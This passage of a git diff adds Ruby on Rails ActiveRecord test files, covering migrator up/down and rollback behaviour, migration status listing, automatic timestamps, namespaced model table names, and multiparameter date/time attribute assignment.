+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert_equal 2, copied.length
+    end
+  ensure
+    clear
+    Dir.delete(@migrations_path)
+  end
+
+  def test_copying_migrations_to_empty_directory
+    @migrations_path = MIGRATIONS_ROOT + "/empty"
+    @existing_migrations = []
+
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+      copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy_with_timestamps")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert_equal 2, copied.length
+    end
+  ensure
+    clear
+  end
+
+  def test_check_pending_with_stdlib_logger
+    old, ActiveRecord::Base.logger = ActiveRecord::Base.logger, ::Logger.new($stdout)
+    quietly do
+      assert_nothing_raised { ActiveRecord::Migration::CheckPending.new(Proc.new {}).call({}) }
+    end
+  ensure
+    ActiveRecord::Base.logger = old
+  end
+
+  def test_unknown_migration_version_should_raise_an_argument_error
+    assert_raise(ArgumentError) { ActiveRecord::Migration[1.0] }
+  end
+
+  def test_deprecate_initialize_internal_tables
+    assert_deprecated { ActiveRecord::Base.connection.initialize_schema_migrations_table }
+    assert_deprecated { ActiveRecord::Base.connection.initialize_internal_metadata_table }
+  end
+
+  def test_deprecate_migration_keys
+    assert_deprecated { ActiveRecord::Base.connection.migration_keys }
+  end
+
+  def test_deprecate_supports_migrations
+    assert_deprecated { ActiveRecord::Base.connection.supports_migrations? }
+  end
+
+  def test_deprecate_schema_migrations_table_name
+    assert_deprecated { ActiveRecord::Migrator.schema_migrations_table_name }
+  end
+end
diff --git a/activerecord/test/cases/migrator_test.rb b/activerecord/test/cases/migrator_test.rb
new file mode 100644
index 0000000000..ee10be119c
--- /dev/null
+++ b/activerecord/test/cases/migrator_test.rb
@@ -0,0 +1,473 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "cases/migration/helper"
+
+class MigratorTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  # Use this class to sense if migrations have gone
+  # up or down.
+  class Sensor < ActiveRecord::Migration::Current
+    attr_reader :went_up, :went_down
+
+    def initialize(name = self.class.name, version = nil)
+      super
+      @went_up = false
+      @went_down = false
+    end
+
+    def up; @went_up = true; end
+    def down; @went_down = true; end
+  end
+
+  def setup
+    super
+    ActiveRecord::SchemaMigration.create_table
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    @verbose_was = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.message_count = 0
+    ActiveRecord::Migration.class_eval do
+      undef :puts
+      def puts(*)
+        ActiveRecord::Migration.message_count += 1
+      end
+    end
+  end
+
+  teardown do
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    ActiveRecord::Migration.verbose = @verbose_was
+    ActiveRecord::Migration.class_eval do
+      undef :puts
+      def puts(*)
+        super
+      end
+    end
+  end
+
+  def test_migrator_with_duplicate_names
+    e = assert_raises(ActiveRecord::DuplicateMigrationNameError) do
+      list = [ActiveRecord::Migration.new("Chunky"), ActiveRecord::Migration.new("Chunky")]
+      ActiveRecord::Migrator.new(:up, list)
+    end
+    assert_match(/Multiple migrations have the name Chunky/, e.message)
+  end
+
+  def test_migrator_with_duplicate_versions
+    assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
+      list = [ActiveRecord::Migration.new("Foo", 1), ActiveRecord::Migration.new("Bar", 1)]
+      ActiveRecord::Migrator.new(:up, list)
+    end
+  end
+
+  def test_migrator_with_missing_version_numbers
+    assert_raises(ActiveRecord::UnknownMigrationVersionError) do
+      list = [ActiveRecord::Migration.new("Foo", 1), ActiveRecord::Migration.new("Bar", 2)]
+      ActiveRecord::Migrator.new(:up, list, 3).run
+    end
+  end
+
+  def test_finds_migrations
+    migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid")
+
+    [[1, "ValidPeopleHaveLastNames"], [2, "WeNeedReminders"], [3, "InnocentJointable"]].each_with_index do |pair, i|
+      assert_equal migrations[i].version, pair.first
+      assert_equal migrations[i].name, pair.last
+    end
+  end
+
+  def test_finds_migrations_in_subdirectories
+    migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid_with_subdirectories")
+
+    [[1, "ValidPeopleHaveLastNames"], [2, "WeNeedReminders"], [3, "InnocentJointable"]].each_with_index do |pair, i|
+      assert_equal migrations[i].version, pair.first
+      assert_equal migrations[i].name, pair.last
+    end
+  end
+
+  def test_finds_migrations_from_two_directories
+    directories = [MIGRATIONS_ROOT + "/valid_with_timestamps", MIGRATIONS_ROOT + "/to_copy_with_timestamps"]
+    migrations = ActiveRecord::Migrator.migrations directories
+
+    [[20090101010101, "PeopleHaveHobbies"],
+     [20090101010202, "PeopleHaveDescriptions"],
+     [20100101010101, "ValidWithTimestampsPeopleHaveLastNames"],
+     [20100201010101, "ValidWithTimestampsWeNeedReminders"],
+     [20100301010101, "ValidWithTimestampsInnocentJointable"]].each_with_index do |pair, i|
+       assert_equal pair.first, migrations[i].version
+       assert_equal pair.last, migrations[i].name
+     end
+  end
+
+  def test_finds_migrations_in_numbered_directory
+    migrations = ActiveRecord::Migrator.migrations [MIGRATIONS_ROOT + "/10_urban"]
+    assert_equal 9, migrations[0].version
+    assert_equal "AddExpressions", migrations[0].name
+  end
+
+  def test_relative_migrations
+    list = Dir.chdir(MIGRATIONS_ROOT) do
+      ActiveRecord::Migrator.migrations("valid")
+    end
+
+    migration_proxy = list.find { |item|
+      item.name == "ValidPeopleHaveLastNames"
+    }
+    assert migration_proxy, "should find pending migration"
+  end
+
+  def test_finds_pending_migrations
+    ActiveRecord::SchemaMigration.create!(version: "1")
+    migration_list = [ActiveRecord::Migration.new("foo", 1), ActiveRecord::Migration.new("bar", 3)]
+    migrations = ActiveRecord::Migrator.new(:up, migration_list).pending_migrations
+
+    assert_equal 1, migrations.size
+    assert_equal migration_list.last, migrations.first
+  end
+
+  def test_migrations_status
+    path = MIGRATIONS_ROOT + "/valid"
+
+    ActiveRecord::SchemaMigration.create(version: 2)
+    ActiveRecord::SchemaMigration.create(version: 10)
+
+    assert_equal [
+      ["down", "001", "Valid people have last names"],
+      ["up",   "002", "We need reminders"],
+      ["down", "003", "Innocent jointable"],
+      ["up",   "010", "********** NO FILE **********"],
+    ], ActiveRecord::Migrator.migrations_status(path)
+  end
+
+  def test_migrations_status_in_subdirectories
+    path = MIGRATIONS_ROOT + "/valid_with_subdirectories"
+
+    ActiveRecord::SchemaMigration.create(version: 2)
+    ActiveRecord::SchemaMigration.create(version: 10)
+
+    assert_equal [
+      ["down", "001", "Valid people have last names"],
+      ["up",   "002", "We need reminders"],
+      ["down", "003", "Innocent jointable"],
+      ["up",   "010", "********** NO FILE **********"],
+    ], ActiveRecord::Migrator.migrations_status(path)
+  end
+
+  def test_migrations_status_with_schema_define_in_subdirectories
+    path = MIGRATIONS_ROOT + "/valid_with_subdirectories"
+    prev_paths = ActiveRecord::Migrator.migrations_paths
+    ActiveRecord::Migrator.migrations_paths = path
+
+    ActiveRecord::Schema.define(version: 3) do
+    end
+
+    assert_equal [
+      ["up", "001", "Valid people have last names"],
+      ["up", "002", "We need reminders"],
+      ["up", "003", "Innocent jointable"],
+    ], ActiveRecord::Migrator.migrations_status(path)
+  ensure
+    ActiveRecord::Migrator.migrations_paths = prev_paths
+  end
+
+  def test_migrations_status_from_two_directories
+    paths = [MIGRATIONS_ROOT + "/valid_with_timestamps", MIGRATIONS_ROOT + "/to_copy_with_timestamps"]
+
+    ActiveRecord::SchemaMigration.create(version: "20100101010101")
+    ActiveRecord::SchemaMigration.create(version: "20160528010101")
+
+    assert_equal [
+      ["down", "20090101010101", "People have hobbies"],
+      ["down", "20090101010202", "People have descriptions"],
+      ["up",   "20100101010101", "Valid with timestamps people have last names"],
+      ["down", "20100201010101", "Valid with timestamps we need reminders"],
+      ["down", "20100301010101", "Valid with timestamps innocent jointable"],
+      ["up",   "20160528010101", "********** NO FILE **********"],
+    ], ActiveRecord::Migrator.migrations_status(paths)
+  end
+
+  def test_migrator_interleaved_migrations
+    pass_one = [Sensor.new("One", 1)]
+
+    ActiveRecord::Migrator.new(:up, pass_one).migrate
+    assert pass_one.first.went_up
+    assert_not pass_one.first.went_down
+
+    pass_two = [Sensor.new("One", 1), Sensor.new("Three", 3)]
+    ActiveRecord::Migrator.new(:up, pass_two).migrate
+    assert_not pass_two[0].went_up
+    assert pass_two[1].went_up
+    assert pass_two.all? { |x| !x.went_down }
+
+    pass_three = [Sensor.new("One", 1),
+                  Sensor.new("Two", 2),
+                  Sensor.new("Three", 3)]
+
+    ActiveRecord::Migrator.new(:down, pass_three).migrate
+    assert pass_three[0].went_down
+    assert_not pass_three[1].went_down
+    assert pass_three[2].went_down
+  end
+
+  def test_up_calls_up
+    migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert migrations.all?(&:went_up)
+    assert migrations.all? { |m| !m.went_down }
+    assert_equal 2, ActiveRecord::Migrator.current_version
+  end
+
+  def test_down_calls_down
+    test_up_calls_up
+
+    migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+    ActiveRecord::Migrator.new(:down, migrations).migrate
+    assert migrations.all? { |m| !m.went_up }
+    assert migrations.all?(&:went_down)
+    assert_equal 0, ActiveRecord::Migrator.current_version
+  end
+
+  def test_current_version
+    ActiveRecord::SchemaMigration.create!(version: "1000")
+    assert_equal 1000, ActiveRecord::Migrator.current_version
+  end
+
+  def test_migrator_one_up
+    calls, migrations = sensors(3)
+
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [[:up, 1]], calls
+    calls.clear
+
+    ActiveRecord::Migrator.new(:up, migrations, 2).migrate
+    assert_equal [[:up, 2]], calls
+  end
+
+  def test_migrator_one_down
+    calls, migrations = sensors(3)
+
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+    calls.clear
+
+    ActiveRecord::Migrator.new(:down, migrations, 1).migrate
+
+    assert_equal [[:down, 3], [:down, 2]], calls
+  end
+
+  def test_migrator_one_up_one_down
+    calls, migrations = sensors(3)
+
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [[:up, 1]], calls
+    calls.clear
+
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_equal [[:down, 1]], calls
+  end
+
+  def test_migrator_double_up
+    calls, migrations = sensors(3)
+    assert_equal(0, ActiveRecord::Migrator.current_version)
+
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [[:up, 1]], calls
+    calls.clear
+
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [], calls
+  end
+
+  def test_migrator_double_down
+    calls, migrations = sensors(3)
+
+    assert_equal(0, ActiveRecord::Migrator.current_version)
+
+    ActiveRecord::Migrator.new(:up, migrations, 1).run
+    assert_equal [[:up, 1]], calls
+    calls.clear
+
+    ActiveRecord::Migrator.new(:down, migrations, 1).run
+    assert_equal [[:down, 1]], calls
+    calls.clear
+
+    ActiveRecord::Migrator.new(:down, migrations, 1).run
+    assert_equal [], calls
+
+    assert_equal(0, ActiveRecord::Migrator.current_version)
+  end
+
+  def test_migrator_verbosity
+    _, migrations = sensors(3)
+
+    ActiveRecord::Migration.verbose = true
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_not_equal 0, ActiveRecord::Migration.message_count
+
+    ActiveRecord::Migration.message_count = 0
+
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_not_equal 0, ActiveRecord::Migration.message_count
+  end
+
+  def test_migrator_verbosity_off
+    _, migrations = sensors(3)
+
+    ActiveRecord::Migration.verbose = false
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal 0, ActiveRecord::Migration.message_count
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_equal 0, ActiveRecord::Migration.message_count
+  end
+
+  def test_target_version_zero_should_run_only_once
+    calls, migrations = sensors(3)
+
+    # migrate up to 1
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [[:up, 1]], calls
+    calls.clear
+
+    # migrate down to 0
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_equal [[:down, 1]], calls
+    calls.clear
+
+    # migrate down to 0 again
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_equal [], calls
+  end
+
+  def test_migrator_going_down_due_to_version_target
+    calls, migrator = migrator_class(3)
+
+    migrator.up("valid", 1)
+    assert_equal [[:up, 1]], calls
+    calls.clear
+
+    migrator.migrate("valid", 0)
+    assert_equal [[:down, 1]], calls
+    calls.clear
+
+    migrator.migrate("valid")
+    assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+  end
+
+  def test_migrator_output_when_running_multiple_migrations
+    _, migrator = migrator_class(3)
+
+    result = migrator.migrate("valid")
+    assert_equal(3, result.count)
+
+    # Nothing migrated from duplicate run
+    result = migrator.migrate("valid")
+    assert_equal(0, result.count)
+
+    result = migrator.rollback("valid")
+    assert_equal(1, result.count)
+  end
+
+  def test_migrator_output_when_running_single_migration
+    _, migrator = migrator_class(1)
+    result = migrator.run(:up, "valid", 1)
+
+    assert_equal(1, result.version)
+  end
+
+  def test_migrator_rollback
+    _, migrator = migrator_class(3)
+
+    migrator.migrate("valid")
+    assert_equal(3, ActiveRecord::Migrator.current_version)
+
+    migrator.rollback("valid")
+    assert_equal(2, ActiveRecord::Migrator.current_version)
+
+    migrator.rollback("valid")
+    assert_equal(1, ActiveRecord::Migrator.current_version)
+
+    migrator.rollback("valid")
+    assert_equal(0, ActiveRecord::Migrator.current_version)
+
+    migrator.rollback("valid")
+    assert_equal(0, ActiveRecord::Migrator.current_version)
+  end
+
+  def test_migrator_db_has_no_schema_migrations_table
+    _, migrator = migrator_class(3)
+
+    ActiveRecord::Base.connection.drop_table "schema_migrations", if_exists: true
+    assert_not ActiveRecord::Base.connection.table_exists?("schema_migrations")
+    migrator.migrate("valid", 1)
+    assert ActiveRecord::Base.connection.table_exists?("schema_migrations")
+  end
+
+  def test_migrator_forward
+    _, migrator = migrator_class(3)
+    migrator.migrate("/valid", 1)
+    assert_equal(1, ActiveRecord::Migrator.current_version)
+
+    migrator.forward("/valid", 2)
+    assert_equal(3, ActiveRecord::Migrator.current_version)
+
+    migrator.forward("/valid")
+    assert_equal(3, ActiveRecord::Migrator.current_version)
+  end
+
+  def test_only_loads_pending_migrations
+    # migrate up to 1
+    ActiveRecord::SchemaMigration.create!(version: "1")
+
+    calls, migrator = migrator_class(3)
+    migrator.migrate("valid", nil)
+
+    assert_equal [[:up, 2], [:up, 3]], calls
+  end
+
+  def test_get_all_versions
+    _, migrator = migrator_class(3)
+
+    migrator.migrate("valid")
+    assert_equal([1, 2, 3], ActiveRecord::Migrator.get_all_versions)
+
+    migrator.rollback("valid")
+    assert_equal([1, 2], ActiveRecord::Migrator.get_all_versions)
+
+    migrator.rollback("valid")
+    assert_equal([1], ActiveRecord::Migrator.get_all_versions)
+
+    migrator.rollback("valid")
+    assert_equal([], ActiveRecord::Migrator.get_all_versions)
+  end
+
+  private
+    def m(name, version)
+      x = Sensor.new name, version
+      x.extend(Module.new {
+        define_method(:up) { yield(:up, x); super() }
+        define_method(:down) { yield(:down, x); super() }
+      }) if block_given?
+    end
+
+    def sensors(count)
+      calls = []
+      migrations = count.times.map { |i|
+        m(nil, i + 1) { |c, migration|
+          calls << [c, migration.version]
+        }
+      }
+      [calls, migrations]
+    end
+
+    def migrator_class(count)
+      calls, migrations = sensors(count)
+
+      migrator = Class.new(ActiveRecord::Migrator).extend(Module.new {
+        define_method(:migrations) { |paths|
+          migrations
+        }
+      })
+      [calls, migrator]
+    end
+end
diff --git a/activerecord/test/cases/mixin_test.rb b/activerecord/test/cases/mixin_test.rb
new file mode 100644
index 0000000000..fdb8ac6ab3
--- /dev/null
+++ b/activerecord/test/cases/mixin_test.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class Mixin < ActiveRecord::Base
+end
+
+class TouchTest < ActiveRecord::TestCase
+  fixtures :mixins
+
+  setup do
+    travel_to Time.now
+  end
+
+  def test_update
+    stamped = Mixin.new
+
+    assert_nil stamped.updated_at
+    assert_nil stamped.created_at
+    stamped.save
+    assert_equal Time.now, stamped.updated_at
+    assert_equal Time.now, stamped.created_at
+  end
+
+  def test_create
+    obj = Mixin.create
+    assert_equal Time.now, obj.updated_at
+    assert_equal Time.now, obj.created_at
+  end
+
+  def test_many_updates
+    stamped = Mixin.new
+
+    assert_nil stamped.updated_at
+    assert_nil stamped.created_at
+    stamped.save
+    assert_equal Time.now, stamped.created_at
+    assert_equal Time.now, stamped.updated_at
+
+    old_updated_at = stamped.updated_at
+
+    travel 5.minutes
+    stamped.lft_will_change!
+    stamped.save
+
+    assert_equal Time.now, stamped.updated_at
+    assert_equal old_updated_at, stamped.created_at
+  end
+
+  def test_create_turned_off
+    Mixin.record_timestamps = false
+
+    mixin = Mixin.new
+
+    assert_nil mixin.updated_at
+    mixin.save
+    assert_nil mixin.updated_at
+
+  # Make sure Mixin.record_timestamps gets reset, even if this test fails,
+  # so that other tests do not fail because Mixin.record_timestamps == false
+  ensure
+    Mixin.record_timestamps = true
+  end
+end
diff --git a/activerecord/test/cases/modules_test.rb b/activerecord/test/cases/modules_test.rb
new file mode 100644
index 0000000000..060d555607
--- /dev/null
+++ b/activerecord/test/cases/modules_test.rb
@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/company_in_module"
+require "models/shop"
+require "models/developer"
+require "models/computer"
+
+class ModulesTest < ActiveRecord::TestCase
+  fixtures :accounts, :companies, :projects, :developers, :collections, :products, :variants
+
+  def setup
+    # need to make sure Object::Firm and Object::Client are not defined,
+    # so that constantize will not be able to cheat when having to load namespaced classes
+    @undefined_consts = {}
+
+    [:Firm, :Client].each do |const|
+      @undefined_consts.merge! const => Object.send(:remove_const, const) if Object.const_defined?(const)
+    end
+
+    ActiveRecord::Base.store_full_sti_class = false
+  end
+
+  teardown do
+    # reinstate the constants that we undefined in the setup
+    @undefined_consts.each do |constant, value|
+      Object.send :const_set, constant, value unless value.nil?
+    end
+
+    ActiveRecord::Base.store_full_sti_class = true
+  end
+
+  def test_module_spanning_associations
+    firm = MyApplication::Business::Firm.first
+    assert !firm.clients.empty?, "Firm should have clients"
+    assert_nil firm.class.table_name.match("::"), "Firm shouldn't have the module appear in its table name"
+  end
+
+  def test_module_spanning_has_and_belongs_to_many_associations
+    project = MyApplication::Business::Project.first
+    project.developers << MyApplication::Business::Developer.create("name" => "John")
+    assert_equal "John", project.developers.last.name
+  end
+
+  def test_associations_spanning_cross_modules
+    account = MyApplication::Billing::Account.all.merge!(order: "id").first
+    assert_kind_of MyApplication::Business::Firm, account.firm
+    assert_kind_of MyApplication::Billing::Firm, account.qualified_billing_firm
+    assert_kind_of MyApplication::Billing::Firm, account.unqualified_billing_firm
+    assert_kind_of MyApplication::Billing::Nested::Firm, account.nested_qualified_billing_firm
+    assert_kind_of MyApplication::Billing::Nested::Firm, account.nested_unqualified_billing_firm
+  end
+
+  def test_find_account_and_include_company
+    account = MyApplication::Billing::Account.all.merge!(includes: :firm).find(1)
+    assert_kind_of MyApplication::Business::Firm, account.firm
+  end
+
+  def test_table_name
+    assert_equal "accounts", MyApplication::Billing::Account.table_name, "table_name for ActiveRecord model in module"
+    assert_equal "companies", MyApplication::Business::Client.table_name, "table_name for ActiveRecord model subclass"
+    assert_equal "company_contacts", MyApplication::Business::Client::Contact.table_name, "table_name for ActiveRecord model enclosed by another ActiveRecord model"
+  end
+
+  def test_assign_ids
+    firm = MyApplication::Business::Firm.first
+
+    assert_nothing_raised do
+      firm.client_ids = [MyApplication::Business::Client.first.id]
+    end
+  end
+
+  # An eager loading condition to force the eager loading model into the old join model.
+  def test_eager_loading_in_modules
+    clients = []
+
+    assert_nothing_raised do
+      clients << MyApplication::Business::Client.references(:accounts).merge!(includes: { firm: :account }, where: "accounts.id IS NOT NULL").find(3)
+      clients << MyApplication::Business::Client.includes(firm: :account).find(3)
+    end
+
+    clients.each do |client|
+      assert_no_queries do
+        assert_not_nil(client.firm.account)
+      end
+    end
+  end
+
+  def test_module_table_name_prefix
+    assert_equal "prefixed_companies", MyApplication::Business::Prefixed::Company.table_name, "inferred table_name for ActiveRecord model in module with table_name_prefix"
+    assert_equal "prefixed_companies", MyApplication::Business::Prefixed::Nested::Company.table_name, "table_name for ActiveRecord model in nested module with a parent table_name_prefix"
+    assert_equal "companies", MyApplication::Business::Prefixed::Firm.table_name, "explicit table_name for ActiveRecord model in module with table_name_prefix should not be prefixed"
+  end
+
+  def test_module_table_name_prefix_with_global_prefix
+    classes = [ MyApplication::Business::Company,
+                MyApplication::Business::Firm,
+                MyApplication::Business::Client,
+                MyApplication::Business::Client::Contact,
+                MyApplication::Business::Developer,
+                MyApplication::Business::Project,
+                MyApplication::Business::Prefixed::Company,
+                MyApplication::Business::Prefixed::Nested::Company,
+                MyApplication::Billing::Account ]
+
+    ActiveRecord::Base.table_name_prefix = "global_"
+    classes.each(&:reset_table_name)
+    assert_equal "global_companies", MyApplication::Business::Company.table_name, "inferred table_name for ActiveRecord model in module without table_name_prefix"
+    assert_equal "prefixed_companies", MyApplication::Business::Prefixed::Company.table_name, "inferred table_name for ActiveRecord model in module with table_name_prefix"
+    assert_equal "prefixed_companies", MyApplication::Business::Prefixed::Nested::Company.table_name, "table_name for ActiveRecord model in nested module with a parent table_name_prefix"
+    assert_equal "companies", MyApplication::Business::Prefixed::Firm.table_name, "explicit table_name for ActiveRecord model in module with table_name_prefix should not be prefixed"
+  ensure
+    ActiveRecord::Base.table_name_prefix = ""
+    classes.each(&:reset_table_name)
+  end
+
+  def test_module_table_name_suffix
+    assert_equal "companies_suffixed", MyApplication::Business::Suffixed::Company.table_name, "inferred table_name for ActiveRecord model in module with table_name_suffix"
+    assert_equal "companies_suffixed", MyApplication::Business::Suffixed::Nested::Company.table_name, "table_name for ActiveRecord model in nested module with a parent table_name_suffix"
+    assert_equal "companies", MyApplication::Business::Suffixed::Firm.table_name, "explicit table_name for ActiveRecord model in module with table_name_suffix should not be suffixed"
+  end
+
+  def test_module_table_name_suffix_with_global_suffix
+    classes = [ MyApplication::Business::Company,
+                MyApplication::Business::Firm,
+                MyApplication::Business::Client,
+                MyApplication::Business::Client::Contact,
+                MyApplication::Business::Developer,
+                MyApplication::Business::Project,
+                MyApplication::Business::Suffixed::Company,
+                MyApplication::Business::Suffixed::Nested::Company,
+                MyApplication::Billing::Account ]
+
+    ActiveRecord::Base.table_name_suffix = "_global"
+    classes.each(&:reset_table_name)
+    assert_equal "companies_global", MyApplication::Business::Company.table_name, "inferred table_name for ActiveRecord model in module without table_name_suffix"
+    assert_equal "companies_suffixed", MyApplication::Business::Suffixed::Company.table_name, "inferred table_name for ActiveRecord model in module with table_name_suffix"
+    assert_equal "companies_suffixed", MyApplication::Business::Suffixed::Nested::Company.table_name, "table_name for ActiveRecord model in nested module with a parent table_name_suffix"
+    assert_equal "companies", MyApplication::Business::Suffixed::Firm.table_name, "explicit table_name for ActiveRecord model in module with table_name_suffix should not be suffixed"
+  ensure
+    ActiveRecord::Base.table_name_suffix = ""
+    classes.each(&:reset_table_name)
+  end
+
+  def test_compute_type_can_infer_class_name_of_sibling_inside_module
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = true
+    assert_equal MyApplication::Business::Firm, MyApplication::Business::Client.send(:compute_type, "Firm")
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+
+  def test_nested_models_should_not_raise_exception_when_using_delete_all_dependency_on_association
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = true
+
+    collection = Shop::Collection.first
+    assert !collection.products.empty?, "Collection should have products"
+    assert_nothing_raised { collection.destroy }
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+
+  def test_nested_models_should_not_raise_exception_when_using_nullify_dependency_on_association
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = true
+
+    product = Shop::Product.first
+    assert !product.variants.empty?, "Product should have variants"
+    assert_nothing_raised { product.destroy }
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+end
diff --git a/activerecord/test/cases/multiparameter_attributes_test.rb b/activerecord/test/cases/multiparameter_attributes_test.rb
new file mode 100644
index 0000000000..59be4dc5a8
--- /dev/null
+++ b/activerecord/test/cases/multiparameter_attributes_test.rb
@@ -0,0 +1,399 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/customer"
+
+class MultiParameterAttributeTest < ActiveRecord::TestCase
+  fixtures :topics
+
+  def test_multiparameter_attributes_on_date
+    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "24" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # note that extra #to_date call allows test to pass for Oracle, which
+    # treats dates/times the same
+    assert_equal Date.new(2004, 6, 24), topic.last_read.to_date
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_year
+    attributes = { "last_read(1i)" => "", "last_read(2i)" => "6", "last_read(3i)" => "24" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.last_read
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_month
+    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "", "last_read(3i)" => "24" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.last_read
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_day
+    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.last_read
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_day_and_year
+    attributes = { "last_read(1i)" => "", "last_read(2i)" => "6", "last_read(3i)" => "" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.last_read
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_day_and_month
+    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "", "last_read(3i)" => "" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.last_read
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_year_and_month
+    attributes = { "last_read(1i)" => "", "last_read(2i)" => "", "last_read(3i)" => "24" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.last_read
+  end
+
+  def test_multiparameter_attributes_on_date_with_all_empty
+    attributes = { "last_read(1i)" => "", "last_read(2i)" => "", "last_read(3i)" => "" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.last_read
+  end
+
+  def test_multiparameter_attributes_on_time
+    with_timezone_config default: :local do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+    end
+  end
+
+  def test_multiparameter_attributes_on_time_with_no_date
+    ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+      attributes = {
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+    end
+    assert_equal("written_on", ex.errors[0].attribute)
+  end
+
+  def test_multiparameter_attributes_on_time_with_invalid_time_params
+    ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "2004", "written_on(5i)" => "36", "written_on(6i)" => "64",
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+    end
+    assert_equal("written_on", ex.errors[0].attribute)
+  end
+
+  def test_multiparameter_attributes_on_time_with_old_date
+    attributes = {
+      "written_on(1i)" => "1850", "written_on(2i)" => "6", "written_on(3i)" => "24",
+      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # testing against to_s(:db) representation because either a Time or a DateTime might be returned, depending on platform
+    assert_equal "1850-06-24 16:24:00", topic.written_on.to_s(:db)
+  end
+
+  def test_multiparameter_attributes_on_time_will_raise_on_big_time_if_missing_date_parts
+    ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+      attributes = {
+        "written_on(4i)" => "16", "written_on(5i)" => "24"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+    end
+    assert_equal("written_on", ex.errors[0].attribute)
+  end
+
+  def test_multiparameter_attributes_on_time_with_raise_on_small_time_if_missing_date_parts
+    ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+      attributes = {
+        "written_on(4i)" => "16", "written_on(5i)" => "12", "written_on(6i)" => "02"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+    end
+    assert_equal("written_on", ex.errors[0].attribute)
+  end
+
+  def test_multiparameter_attributes_on_time_will_ignore_hour_if_missing
+    with_timezone_config default: :local do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
+        "written_on(5i)" => "12", "written_on(6i)" => "02"
+      }
